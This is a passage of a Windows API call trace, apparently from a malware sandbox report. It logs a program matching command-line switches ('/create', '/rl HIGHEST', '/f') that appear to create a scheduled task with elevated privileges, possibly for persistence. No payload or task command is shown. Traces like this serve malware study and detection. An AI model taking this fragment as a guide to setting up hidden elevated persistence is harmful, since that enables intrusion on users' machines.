lstrlenW (lpString="rl") returned 2 [0163.946] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.946] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|create|") returned 8 [0163.946] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.946] lstrlenW (lpString="|create|") returned 8 [0163.946] lstrlenW (lpString="|rl|") returned 4 [0163.946] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0163.946] SetLastError (dwErrCode=0x490) [0163.946] lstrlenW (lpString="?") returned 1 [0163.946] lstrlenW (lpString="?") returned 1 [0163.947] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.947] lstrlenW (lpString="rl") returned 2 [0163.947] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.947] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|?|") returned 3 [0163.947] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.947] lstrlenW (lpString="|?|") returned 3 [0163.947] lstrlenW (lpString="|rl|") returned 4 [0163.947] SetLastError (dwErrCode=0x490) [0163.947] lstrlenW (lpString="s") returned 1 [0163.947] lstrlenW (lpString="s") returned 1 [0163.947] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.947] lstrlenW (lpString="rl") returned 2 [0163.947] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.947] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|s|") returned 3 [0163.947] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.947] lstrlenW (lpString="|s|") returned 3 [0163.947] lstrlenW (lpString="|rl|") returned 4 [0163.947] SetLastError (dwErrCode=0x490) [0163.947] lstrlenW (lpString="u") returned 1 [0163.947] lstrlenW (lpString="u") returned 1 [0163.947] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.947] lstrlenW (lpString="rl") returned 2 [0163.947] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.948] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|u|") returned 3 [0163.948] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.948] lstrlenW (lpString="|u|") returned 3 [0163.948] lstrlenW (lpString="|rl|") returned 4 [0163.948] SetLastError (dwErrCode=0x490) [0163.948] lstrlenW (lpString="p") returned 1 [0163.948] lstrlenW (lpString="p") returned 1 [0163.948] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.948] lstrlenW (lpString="rl") returned 2 [0163.948] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.948] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|p|") returned 3 [0163.948] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.948] lstrlenW (lpString="|p|") returned 3 [0163.948] lstrlenW (lpString="|rl|") returned 4 [0163.948] SetLastError (dwErrCode=0x490) [0163.948] lstrlenW (lpString="ru") returned 2 [0163.948] lstrlenW (lpString="ru") returned 2 [0163.948] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.948] lstrlenW (lpString="rl") returned 2 [0163.948] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.948] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|ru|") returned 4 [0163.948] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.948] lstrlenW (lpString="|ru|") returned 4 [0163.948] lstrlenW (lpString="|rl|") returned 4 [0163.949] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0163.949] SetLastError (dwErrCode=0x490) [0163.949] lstrlenW (lpString="rp") returned 2 [0163.949] lstrlenW (lpString="rp") returned 2 [0163.949] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.949] lstrlenW (lpString="rl") returned 2 [0163.949] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.949] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rp|") returned 4 [0163.949] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.949] lstrlenW (lpString="|rp|") returned 4 [0163.949] lstrlenW (lpString="|rl|") returned 4 [0163.949] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0163.949] SetLastError (dwErrCode=0x490) [0163.949] lstrlenW (lpString="sc") returned 2 [0163.949] lstrlenW (lpString="sc") returned 2 [0163.949] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.949] lstrlenW (lpString="rl") returned 2 [0163.949] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.949] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|sc|") returned 4 [0163.949] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.949] lstrlenW (lpString="|sc|") returned 4 [0163.949] lstrlenW (lpString="|rl|") returned 4 [0163.949] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0163.949] SetLastError (dwErrCode=0x490) [0163.949] lstrlenW (lpString="mo") returned 2 [0163.977] lstrlenW (lpString="mo") returned 2 [0163.977] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.977] lstrlenW (lpString="rl") returned 2 [0163.977] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.978] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|mo|") returned 4 [0163.978] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.978] lstrlenW (lpString="|mo|") returned 4 [0163.978] lstrlenW (lpString="|rl|") returned 4 [0163.978] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0163.978] SetLastError (dwErrCode=0x490) [0163.978] lstrlenW (lpString="d") returned 1 [0163.978] lstrlenW (lpString="d") returned 1 [0163.978] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.978] lstrlenW (lpString="rl") returned 2 [0163.978] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.978] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|d|") returned 3 [0163.978] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.978] lstrlenW (lpString="|d|") returned 3 [0163.978] lstrlenW (lpString="|rl|") returned 4 [0163.978] SetLastError (dwErrCode=0x490) [0163.978] lstrlenW (lpString="m") returned 1 [0163.978] lstrlenW (lpString="m") returned 1 [0163.978] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.978] lstrlenW (lpString="rl") returned 2 [0163.978] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.978] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|m|") returned 3 [0163.978] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.978] lstrlenW (lpString="|m|") returned 3 [0163.978] lstrlenW (lpString="|rl|") returned 4 [0163.978] SetLastError (dwErrCode=0x490) [0163.979] lstrlenW (lpString="i") returned 1 [0163.979] lstrlenW (lpString="i") returned 1 [0163.979] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.979] lstrlenW (lpString="rl") returned 2 [0163.979] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.979] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|i|") returned 3 [0163.979] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.979] lstrlenW (lpString="|i|") returned 3 [0163.979] lstrlenW (lpString="|rl|") returned 4 [0163.979] SetLastError (dwErrCode=0x490) [0163.979] lstrlenW (lpString="tn") returned 2 [0163.979] lstrlenW (lpString="tn") returned 2 [0163.979] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.979] lstrlenW (lpString="rl") returned 2 [0163.979] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.979] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tn|") returned 4 [0163.979] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.979] lstrlenW (lpString="|tn|") returned 4 [0163.979] lstrlenW (lpString="|rl|") returned 4 [0163.979] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0163.979] SetLastError (dwErrCode=0x490) [0163.979] lstrlenW (lpString="tr") returned 2 [0163.979] lstrlenW (lpString="tr") returned 2 [0163.979] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.980] lstrlenW (lpString="rl") returned 2 [0163.980] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.980] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tr|") returned 4 [0163.980] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.980] lstrlenW (lpString="|tr|") returned 4 [0163.980] lstrlenW (lpString="|rl|") returned 4 [0163.980] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0163.980] SetLastError (dwErrCode=0x490) [0163.980] lstrlenW (lpString="st") returned 2 [0163.980] lstrlenW (lpString="st") returned 2 [0163.980] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.980] lstrlenW (lpString="rl") returned 2 [0163.980] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.980] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|st|") returned 4 [0163.980] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.980] lstrlenW (lpString="|st|") returned 4 [0163.980] lstrlenW (lpString="|rl|") returned 4 [0163.980] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0163.980] SetLastError (dwErrCode=0x490) [0163.980] lstrlenW (lpString="sd") returned 2 [0163.980] lstrlenW (lpString="sd") returned 2 [0163.980] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.980] lstrlenW (lpString="rl") returned 2 [0163.980] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.980] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|sd|") returned 4 [0163.981] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.981] lstrlenW (lpString="|sd|") returned 4 [0163.981] lstrlenW (lpString="|rl|") returned 4 [0163.981] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0163.981] SetLastError (dwErrCode=0x490) [0163.981] lstrlenW (lpString="ed") returned 2 [0163.981] lstrlenW (lpString="ed") returned 2 [0163.981] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.981] lstrlenW (lpString="rl") returned 2 [0163.981] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.981] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|ed|") returned 4 [0163.981] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.981] lstrlenW (lpString="|ed|") returned 4 [0163.981] lstrlenW (lpString="|rl|") returned 4 [0163.981] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0163.981] SetLastError (dwErrCode=0x490) [0163.981] lstrlenW (lpString="it") returned 2 [0163.981] lstrlenW (lpString="it") returned 2 [0163.981] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.981] lstrlenW (lpString="rl") returned 2 [0163.981] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.981] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|it|") returned 4 [0163.981] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.981] lstrlenW (lpString="|it|") returned 4 [0163.981] lstrlenW (lpString="|rl|") returned 4 [0163.981] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0163.982] SetLastError (dwErrCode=0x490) [0163.982] lstrlenW (lpString="et") returned 2 [0163.982] lstrlenW (lpString="et") returned 2 [0163.982] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.982] lstrlenW (lpString="rl") returned 2 [0163.982] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.982] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|et|") returned 4 [0163.982] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.982] lstrlenW (lpString="|et|") returned 4 [0163.982] lstrlenW (lpString="|rl|") returned 4 [0163.982] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0163.982] SetLastError (dwErrCode=0x490) [0163.982] lstrlenW (lpString="k") returned 1 [0163.982] lstrlenW (lpString="k") returned 1 [0163.982] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.982] lstrlenW (lpString="rl") returned 2 [0163.982] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.982] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|k|") returned 3 [0163.982] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.982] lstrlenW (lpString="|k|") returned 3 [0163.982] lstrlenW (lpString="|rl|") returned 4 [0163.982] SetLastError (dwErrCode=0x490) [0163.982] lstrlenW (lpString="du") returned 2 [0163.982] lstrlenW (lpString="du") returned 2 [0163.982] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.982] lstrlenW (lpString="rl") returned 2 [0163.982] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.983] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|du|") returned 4 [0163.983] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.983] lstrlenW (lpString="|du|") returned 4 [0163.983] lstrlenW (lpString="|rl|") returned 4 [0163.983] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0163.983] SetLastError (dwErrCode=0x490) [0163.983] lstrlenW (lpString="ri") returned 2 [0163.983] lstrlenW (lpString="ri") returned 2 [0163.983] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.983] lstrlenW (lpString="rl") returned 2 [0163.983] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.983] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|ri|") returned 4 [0163.983] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.983] lstrlenW (lpString="|ri|") returned 4 [0163.983] lstrlenW (lpString="|rl|") returned 4 [0163.983] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0163.983] SetLastError (dwErrCode=0x490) [0163.983] lstrlenW (lpString="z") returned 1 [0163.983] lstrlenW (lpString="z") returned 1 [0163.983] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.983] lstrlenW (lpString="rl") returned 2 [0163.983] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.983] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|z|") returned 3 [0163.983] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.983] lstrlenW (lpString="|z|") returned 3 [0163.983] lstrlenW (lpString="|rl|") returned 4 [0163.984] SetLastError (dwErrCode=0x490) [0163.984] lstrlenW (lpString="f") returned 1 [0163.984] lstrlenW (lpString="f") returned 1 [0163.984] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.984] lstrlenW (lpString="rl") returned 2 [0163.984] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.984] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|f|") returned 3 [0163.984] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.984] lstrlenW (lpString="|f|") returned 3 [0163.984] lstrlenW (lpString="|rl|") returned 4 [0163.984] SetLastError (dwErrCode=0x490) [0163.984] lstrlenW (lpString="v1") returned 2 [0163.984] lstrlenW (lpString="v1") returned 2 [0163.984] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.984] lstrlenW (lpString="rl") returned 2 [0163.984] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.984] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|v1|") returned 4 [0163.984] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.984] lstrlenW (lpString="|v1|") returned 4 [0163.984] lstrlenW (lpString="|rl|") returned 4 [0163.984] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0163.984] SetLastError (dwErrCode=0x490) [0163.984] lstrlenW (lpString="xml") returned 3 [0163.984] lstrlenW (lpString="xml") returned 3 [0163.984] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.984] lstrlenW (lpString="rl") returned 2 [0163.984] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.985] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|xml|") returned 5 [0163.985] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.985] lstrlenW (lpString="|xml|") returned 5 [0163.985] lstrlenW (lpString="|rl|") returned 4 [0163.985] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0163.985] SetLastError (dwErrCode=0x490) [0163.985] lstrlenW (lpString="ec") returned 2 [0163.985] lstrlenW (lpString="ec") returned 2 [0163.985] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.985] lstrlenW (lpString="rl") returned 2 [0163.985] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.985] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|ec|") returned 4 [0163.985] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.985] lstrlenW (lpString="|ec|") returned 4 [0163.985] lstrlenW (lpString="|rl|") returned 4 [0163.985] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0163.985] SetLastError (dwErrCode=0x490) [0163.985] lstrlenW (lpString="rl") returned 2 [0163.985] lstrlenW (lpString="rl") returned 2 [0163.985] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.985] lstrlenW (lpString="rl") returned 2 [0163.985] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.985] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.985] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rl|") returned 4 [0163.985] lstrlenW (lpString="|rl|") returned 4 [0163.986] lstrlenW (lpString="|rl|") returned 4 [0163.986] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0163.986] SetLastError (dwErrCode=0x0) [0163.986] SetLastError (dwErrCode=0x0) [0163.986] lstrlenW (lpString="HIGHEST") returned 7 [0163.986] lstrlenW (lpString="-/") returned 2 [0163.986] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0163.986] SetLastError (dwErrCode=0x490) [0163.986] SetLastError (dwErrCode=0x490) [0163.986] SetLastError (dwErrCode=0x0) [0163.986] lstrlenW (lpString="HIGHEST") returned 7 [0163.986] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0163.986] SetLastError (dwErrCode=0x490) [0163.986] SetLastError (dwErrCode=0x0) [0163.986] _memicmp (_Buf1=0x32d4c0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.986] lstrlenW (lpString="HIGHEST") returned 7 [0163.986] lstrlenW (lpString="HIGHEST") returned 7 [0163.986] lstrlenW (lpString=" \x09") returned 2 [0163.986] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0163.986] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0163.986] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0163.986] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0163.986] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0163.986] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0163.986] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0163.986] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0163.986] GetLastError () returned 0x0 [0163.986] lstrlenW (lpString="HIGHEST") returned 7 [0163.986] lstrlenW (lpString="HIGHEST") returned 7 [0163.986] SetLastError (dwErrCode=0x0) [0163.986] SetLastError (dwErrCode=0x0) [0163.987] lstrlenW (lpString="/f") returned 2 [0163.987] lstrlenW (lpString="-/") returned 2 [0163.987] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0163.987] lstrlenW (lpString="create") returned 6 [0163.987] lstrlenW (lpString="create") returned 6 [0163.987] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.987] lstrlenW (lpString="f") returned 1 [0163.987] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.987] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|create|") returned 8 [0163.987] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|f|") returned 3 [0163.987] lstrlenW (lpString="|create|") returned 8 [0163.987] lstrlenW (lpString="|f|") returned 3 [0163.987] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0163.987] SetLastError (dwErrCode=0x490) [0163.987] lstrlenW (lpString="?") returned 1 [0163.987] lstrlenW (lpString="?") returned 1 [0163.987] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.987] lstrlenW (lpString="f") returned 1 [0163.987] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.987] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|?|") returned 3 [0163.987] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|f|") returned 3 [0163.987] lstrlenW (lpString="|?|") returned 3 [0163.987] lstrlenW (lpString="|f|") returned 3 [0163.987] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0163.987] SetLastError (dwErrCode=0x490) [0163.987] lstrlenW (lpString="s") returned 1 [0163.987] lstrlenW (lpString="s") returned 1 [0163.988] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.988] lstrlenW (lpString="f") returned 1 [0163.988] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.988] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|s|") returned 3 [0163.988] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|f|") returned 3 [0163.988] lstrlenW (lpString="|s|") returned 3 [0163.988] lstrlenW (lpString="|f|") returned 3 [0163.988] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0163.988] SetLastError (dwErrCode=0x490) [0163.988] lstrlenW (lpString="u") returned 1 [0163.988] lstrlenW (lpString="u") returned 1 [0163.988] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.988] lstrlenW (lpString="f") returned 1 [0163.988] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.988] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|u|") returned 3 [0163.988] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|f|") returned 3 [0163.988] 